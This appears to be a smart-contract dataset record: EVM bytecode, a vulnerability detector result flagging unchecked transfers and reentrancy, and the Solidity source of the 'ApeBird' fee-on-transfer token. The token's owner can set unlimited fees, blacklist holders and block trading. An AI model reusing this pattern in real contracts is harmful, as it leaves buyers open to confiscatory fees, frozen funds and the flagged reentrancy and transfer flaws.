26020019250505060206040518083038186803b15801561259257600080fd5b505af41580156125a6573d6000803e3d6000fd5b505050506040513d60208110156125bc57600080fd5b810190808051906020019092919050505090506000600d5482816125dc57fe5b049050807382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091600f546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561263a57600080fd5b505af415801561264e573d6000803e3d6000fd5b505050506040513d602081101561266457600080fd5b81019080805190602001909291905050509950600089111561271f57897382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f90916126a68b61171a565b6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156126e157600080fd5b505af41580156126f5573d6000803e3d6000fd5b505050506040513d602081101561270b57600080fd5b810190808051906020019092919050505099505b600085111561285457897382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091600f547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091886040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156127a057600080fd5b505af41580156127b4573d6000803e3d6000fd5b505050506040513d60208110156127ca57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561281657600080fd5b505af415801561282a573d6000803e3d6000fd5b505050506040513d602081101561284057600080fd5b810190808051906020019092919050505099505b50505b879a50505050505050505050505b919050565b600f5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f8caf0a9df2e1da9becb3ebfb8a56e83121a5b3f6c5622f715a939ec29c54dfdf8183604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60008311612a7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f536c6f74206964206d75737420626520706f736974697665000000000000000081525060200191505060405180910390fd5b600454831115612af4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f536c6f74206964206f7574206f662072616e676500000000000000000000000081525060200191505060405180910390fd5b600854821015612b4f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806139736025913960400191505060405180910390fd5b600654811015612baa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806139296023913960400191505060405180910390fd5b600754811115612c22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4465706f736974206d757374206e6f7420657863656564206d6178696d756d0081525060200191505060405180910390fd5b60001515600260149054906101000a900460ff16151514612cab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4d75737420626520756e7061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6000601160008581526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612dcf578381600001819055506005547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f909160016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015612d8057600080fd5b505af4158015612d94573d6000803e3d6000fd5b505050506040513d6020811015612daa57600080fd5b8101908080519060200190929190505050600581905550438160010181905550613070565b612dd884610da2565b6000816003015484118015612dfc57508160020154831180612dfb575060075483145b5b90508080612e0e575060008260020154145b612e63576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806138c06021913960400191505060405180910390fd5b6009547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc1909184600201546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015612ec257600080fd5b505af4158015612ed6573d6000803e3d6000fd5b505050506040513d6020811015612eec57600080fd5b8101908080519060200190929190505050600981905550601260008360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc1909184600201546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015612fc357600080fd5b505af4158015612fd7573d6000803e3d6000fd5b505050506040513d6020811015612fed57600080fd5b8101908080519060200190929190505050601260008460040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306e85613776565b505b338160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508281600301819055508181600201819055506009547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561312057600080fd5b505af4158015613134573d6000803e3d6000fd5b505050506040513d602081101561314a57600080fd5b8101908080519060200190929190505050600981905550601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156131f957600080fd5b505af415801561320d573d6000803e3d6000fd5b505050506040513d602081101561322357600080fd5b8101908080519060200190929190505050601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082111561336e57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561333157600080fd5b505af1158015613345573d6000803e3d6000fd5b505050506040513d602081101561335b57600080fd5b8101908080519060200190929190505050505b7f8a6b57a983e90e3e89988bdda70f5ff90dc6741f18f555bc6d62a39d7d52f4ff84838533604051808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a150505050565b600b5481565b60105481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146134a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60006008549050816008819055507fb7be0e444b8c4c990a3d961feb3d8f9457718f98d2be14223fc5e11645e1ac0e8183604051808381526020018281526020019250505060405180910390a15050565b600060116000838152602001908152602001600020905060003373ffffffffffffffffffffffffffffffffffffffff168260040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480613572575060008260020154145b9050808061358c5750600260149054906101000a900460ff165b6135e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260488152602001806138e16048913960600191505060405180910390fd5b6135ea83610da2565b6135f383613776565b60008260040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600082600301819055506005547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc1909160016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561369d57600080fd5b505af41580156136b1573d6000803e3d6000fd5b505050506040513d60208110156136c757600080fd5b81019080805190602001909291905050506005819055507f8a6b57a983e90e3e89988bdda70f5ff90dc6741f18f555bc6d62a39d7d52f4ff836000806000604051808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a1505050565b600d5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601160008381526020019081526020016000209050600060146000848152602001908152602001600020819055506000816002015411156138bb5760008160020154905060008260020181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561387d57600080fd5b505af1158015613891573d6000803e3d6000fd5b505050506040513d60208110156138a757600080fd5b810190808051906020019092919050505050505b505056fe596f75206d757374206f7574626964207468652063757272656e74206f776e65724f6e6c79206f776e65722063616e2063616c6c207468697320756e6c65737320757365722069732064656c696e7175656e74206f7220636f6e7472616374206973207061757365644465706f736974206d757374206d656574206f7220657863656564206d696e696d756d4d757374206b69636b2065766572796f6e65206f7574206265666f726520756e70617573696e674275726e2072617465206d757374206d656574206f7220657863656564206d696e696d756da26469706673582212200e9f65c8d936fc2b834574ae402cd7eb1509fbae6a75ebc31fec22df1fc2e01664736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 7,702 |
0x5d775026ab108f7baa3e8ce549bf71c840fa11a0
|
/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
// ApeBird
// Dev : Anonymusdev
// Twitter: https://twitter.com/ApeBirdClub (@ApeBirdClub)
// TG: https://t.me/ApeBird
// ......... Ape Bird ........
// ApeBird - Club - Nft Collection
/// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ApeBird is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ApeBird";
string private constant _symbol = "ApeBird";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 16;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 22;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xF0702F675A10584b32f688AB322562a7af4a250A);
address payable private _marketingAddress = payable(0x01B4A631E472C34fB933fB9764f678B9279036B9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1500000 * 10**9;
uint256 public _maxWalletSize = 3500000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600781526020017f4170654269726400000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600781526020017f4170654269726400000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffff